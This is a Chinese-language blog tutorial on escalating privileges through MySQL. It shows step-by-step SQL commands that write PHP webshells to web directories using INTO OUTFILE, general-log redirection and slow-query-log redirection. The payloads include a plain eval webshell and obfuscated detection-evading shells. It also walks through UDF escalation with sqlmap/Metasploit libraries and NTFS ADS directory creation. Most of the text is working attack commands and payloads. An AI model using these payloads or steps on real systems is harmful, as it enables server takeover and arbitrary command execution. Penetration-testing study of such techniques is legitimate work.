当前位置:   article > 正文

数据库提权

数据库提权

1、通过将sql语句导出文件的方式(备份)

mysql5.5以上默认,secure_file_priv为null,secure_file_priv=null 表示所有文件路径均不允许导出。'空'可任意导出,值应该设置为什么都没有(删除)才能消除mysql自身的写拦截。/tmp指定路径导出,对web目录是否有写权限。

mysql root

linux root

中间件 www-data

假设联合查询

select 1,2,'' into outfile "web根目录绝对路径";

非联合查询(报错、盲注)

select * from users where id=1 into outfile 'C:\cnmdb2.php' lines terminated by 'php代码(也可写 16进制)';

2、普通日志导出

原理:更改默认日志路径导出webshell

  1. show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址
  2. (记下原地址方便恢复)
  3. set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
  4. set global general_log_file = '/var/www/html/info.php'; --设置日志路径
  5. select '<?php phpinfo();?>'; --执行查询,写入shell
  6. --结束后,恢复日志路径,关闭日志监测
  7. --SQL查询免杀shell
  8. select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";
  9. SELECT "<?php $p =
  10. array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a =
  11. array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_=
  12. 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";

3、慢查询写shell

为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

  1. show variables like '%slow_query_log%'; --查看慢查询信息
  2. set global slow_query_log=1; --启用慢查询日志(默认禁用)
  3. set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路
  4. select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell

udf提权

基础、步骤和过程

udf(user defined function),用户自定函数,win/lin环境下均可使用,使用动态链接库.dll或.so,放置对应 文件到mysql安装目录中\lib\plugin目录下

一般来说lib目录和plugin目录需要用户自建(高版本无lib\plugin目录),也可使用NTFS流创建,在数据 库中加载动态连接库中的sys_eval或sys_exec函数即可执行操作系统命令。

通过自定义mysql函数,对mysql的功能进行扩充,添加的函数可以像mysql的内置函数一样被调用执 行,mysql的用户自定义函数存放mysql根目录下的/mysql/lib/plugin里面,这里面存储着mysql的动态 链接库文件。我们将自定义的库文件放进去后,还要在mysql中执行create FUNVTION function_name RETURNS STRING SONAME 'udf.dll' 命令将该库文件中的函数导入,才能使用该函数,就像python里面 的导入模块、方法一样。

条件

①动态连接库文件

这个udf.dll 不需要我们自己编写,可以利用sqlmap\msf等工具为我们提供的。

②shell

进行udf提权的前提是我们已经获得了一个网站的webshell或数据库的权限.

③高权限dbms账户

获得webshell后,我们需要在网站的一些敏感文件里面寻找数据库文件的用户名密码,如像config.php connect.php这类文件。

④对数据库插件目录的写权限

动态链接库文件获取

我们从两个地方获取动态链接库文件:sqlmap、/usr/share/sqlmap/data/udf/mysql/linux/64/

sqlmap中的四个动态链接库文件是加过密的,需要在/sqlmap/extra/cloak目录下执行下面命令才能生 效。

python .\cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o linux_udf_64.so metesploit。

/usr/share/metasploit-framework/data/exploits/mysql

1.3 查看插件目录位置

我的试验环境kali的目录为/usr/lib/x86_64-linux-gun/mariadb19/plugin

也可以通过在sqlshell中执行,select @@plugin_dir

插件目录默认是不存在的,需要我们手动创建,但是sql用户往往并不具备创建文件夹的权限,故在 windows系统下,可以通过ads备份文档流的方式绕过。linux系统就狗带,select @@basedir; //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server5.1\lib::$INDEX_ALLOCATION';

//利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server

5.1\lib\plugin::$INDEX_ALLOCATION';

/利用NTFS ADS创建plugin目录

1.4 动态连接库文件导入

在本机上验证这种方法是否有效,所以没有模拟真实网络环境,真实环境是需要通过sqlshell创建 文件,将我们的so文件内容写道文件中去的。这里我们直接将动态链接库文件复制到插件目录

1.5 将函数导入mysql

create function sys_eval returns string soname '插件文件名称'

查看命令执行效果

可以看到成功执行了系统命令

1、在windows环境下当mysql版本>5.2时,udf的导出路径为,%MySQL%\Lib\Plugin\,且默认无此目 录,可尝试适用ntfs创建目录。

select ‘xxx’into outfile "mysql目录\lib::$INDEX_ALLOCATION";//使用ntfs创建目录

select ‘xxx’into outfile "mysql目录\lib\plugin::$INDEX_ALLOCATION"

然后以导出日志形式将dll文件导出至\lib\plugin目录

select * from users where id=1 into outfile 'C:\mysql\lib\plugin\test.dll' lines terminated by 'shellcode[udf]';

2、在数据库权限比中间件权限高的情况下使用udf提权。最终权限为数据库权限。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/614180
推荐阅读
相关标签
  

闽ICP备14008679号